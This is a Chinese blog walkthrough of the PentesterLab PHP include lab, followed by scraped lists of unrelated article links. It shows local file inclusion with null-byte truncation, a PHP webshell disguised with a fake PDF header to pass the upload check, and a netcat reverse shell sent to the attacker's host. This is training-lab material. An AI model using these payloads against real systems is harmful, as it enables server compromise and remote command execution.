PentesterLab-PHP Include And Post Exploitation
一、打开页面,看到这么个页面,按照惯例随手点一点

二、Login处显然是一个后台登录页面,但前提是的有账号密码,看了下Submit这个页面,发现url中有个page参数
三、nikto跑一下这个页面。里面有这么一条信息很有意思
+ /index.php?page=../../../../../../../../../../etc/passwd: PHP include error may indicate local or remote file inclusion is possible.
看样子这个地方可能存在文件包含,把nikto这个结果拿过去请求一下

发现确实有个include函数,但是里面的文件名后面自动添加了一个.php,想到可以%00截断,请求以下链接,显示除了passwd文件内容,看来没有做限制,下面就去找利用点
/index.php?page=../../../../../../../../../../etc/passwd%00
四、这里有个提交功能,写了一个简单地php 一句话木马,放到test.php直接上传,提示只能是PDF文件
试着抓包修改后缀名和Content-Type,都无法上传,看来服务端可能是判断了文件头经过多次尝试发现,只有当后缀名为.pdf且文件头也为pdf文件头时,才能上传。创建test.pdf文件,内容如下
%PDF-1.5
<?php system($_GET['cmd']);?>
成功上传,这里文件第一行用于伪造pdf文件头。
五、用上传时的用户名密码登录后台,看到上传的pdf下载链接,上传到了uploads目录,复制,回到最开始的页面,page参数改为这个链接,成功包含文件,但出现报错,缺少cmd参数
http://192.168.109.131/index.php?page=uploads/k.pdf%00

六、带上cmd参数,向我们的服务器反弹一个shell回来
/index.php?page=uploads/k.pdf%&cmd=nc%20x.x.x.x%%-e%/bin/bash
成功getshell
PentesterLab-PHP Include And Post Exploitation的更多相关文章
- PentesterLab渗透演练平台
		
转载自: https://www.blackh4t.org/archives/1143.html http://www.91ri.org/5958.html 1. 什么是WebApp Pen ...
 - Full  exploitation  of  a  cluster  hardware  configuration  requires  some  enhancements  to a single-system operating system.
		
COMPUTER ORGANIZATION AND ARCHITECTURE DESIGNING FOR PERFORMANCE NINTH EDITION Operating System Desi ...
 - [转]Adventures in Xen exploitation
		
Source:https://www.nccgroup.com/en/blog/2015/02/adventures-in-xen-exploitation/ tl;dr This post is ...
 - ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728)
		
ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728) By Perception Point Resear ...
 - Web for pentester_writeup之File Include篇
		
Web for pentester_writeup之File Include篇 File Include(文件包涵) Example 1 加一个单引号 从报错中我们可以获取如下信息: 当前文件执行的代 ...
 - OSCP Learning Notes - Post Exploitation(1)
		
Linux Post Exploitation Target Sever: Kioptrix Level 1 1. Search the payloads types. msfvenom -l pay ...
 - 浅谈JSP中include指令与include动作标识的区别
		
JSP中主要包含三大指令,分别是page,include,taglib.本篇主要提及include指令. include指令使用格式:<%@ include file="文件的绝对路径 ...
 - Entity Framework 6 Recipes 2nd Edition(13-9)译 -> 避免Include
		
问题 你想不用Include()方法,立即加载一下相关的集合,并想通过EF的CodeFirst方式实现. 解决方案 假设你有一个如Figure 13-14所示的模型: Figure 13-14. A ...
 - error RC1015: cannot open include file 'afxres.h' 解决办法
		
在为WindowsPhone8程序添加本地化的过程中遇到这个问题: 问题原因就是afxres.h文件缺失,下载它,放到VS安装目录下的VS\include目录下就可以了(选择目录的时候注意对应对版本) ...
 
随机推荐
- Oracle trunc()函数,decode()函数,substr函数,GREATEST函数,java中substring函数的用法
			
--Oracle trunc()函数的用法/**************日期********************/1.select trunc(sysdate) from dual --2013- ...
 - ultraedit 查看文件
			
转自:https://wenda.so.com/q/1481655902726192 1 UltraEdit在打开文件的时候,会对文件类型进行检查.如果是二进制文件,会自动转为16进制显示模式.如下图 ...
 - Kafka学习之(三)Centos下给PHP开启Kafka扩展(rdkafka)
			
Centos版本:Centos6.4,PHP版本:PHP7. 在上一篇文章中使用IP为192.168.9.154的机器安装并开启了Kafka进行了简单测试,充当了Kafka服务器. 本篇文章新开启一台 ...
 - [BZOJ4756]Promotion Counting
			
Description The cows have once again tried to form a startup company, failing to remember from past ...
 - swift学习笔记 - Range、ClosedRange、CountableClosedRange与CountableRange学习
			
移动端访问不佳,请访问我的个人博客 在使用swift的过程中字符串操作的时候会用到Range,刚开始使用起来各种别扭,然后发现居然还有ClosedRange.CountableClosedRange和 ...
 - LeetCode——remove-duplicates-from-sorted-list
			
Question Given a sorted linked list, delete all duplicates such that each element appear only once. ...
 - 06_MySQL DQL_分组查询
			
# 分组查询/*语法: select 分组函数,列(group by中出现的字段) from 表 [where 筛选条件] group by 分组的列表(单个字段,多个字段,函数,表达式) [havi ...
 - Memcached flush_all 命令
			
Memcached flush_all 命令用于用于清理缓存中的所有 key=>value(键=>值) 对. 该命令提供了一个可选参数 time,用于在制定的时间后执行清理缓存操作. 语法 ...
 - 教你如何使用理解懒Redis是更好的Redis
			
前言 大家都知道 Redis 是单线程的.真正的内行会告诉你,实际上 Redis 并不是完全单线程,因为在执行磁盘上的特定慢操作时会有多线程.目前为止多线程操作绝大部分集中在 I/O 上以至于在不同线 ...
 - 在Eclipse中快速添加main方法
			
方法一: 在创建类时自动添加,勾选“public static void main(String[] args)” 方法二: 输入main之后按"alt+/"组合键,选择如图所 ...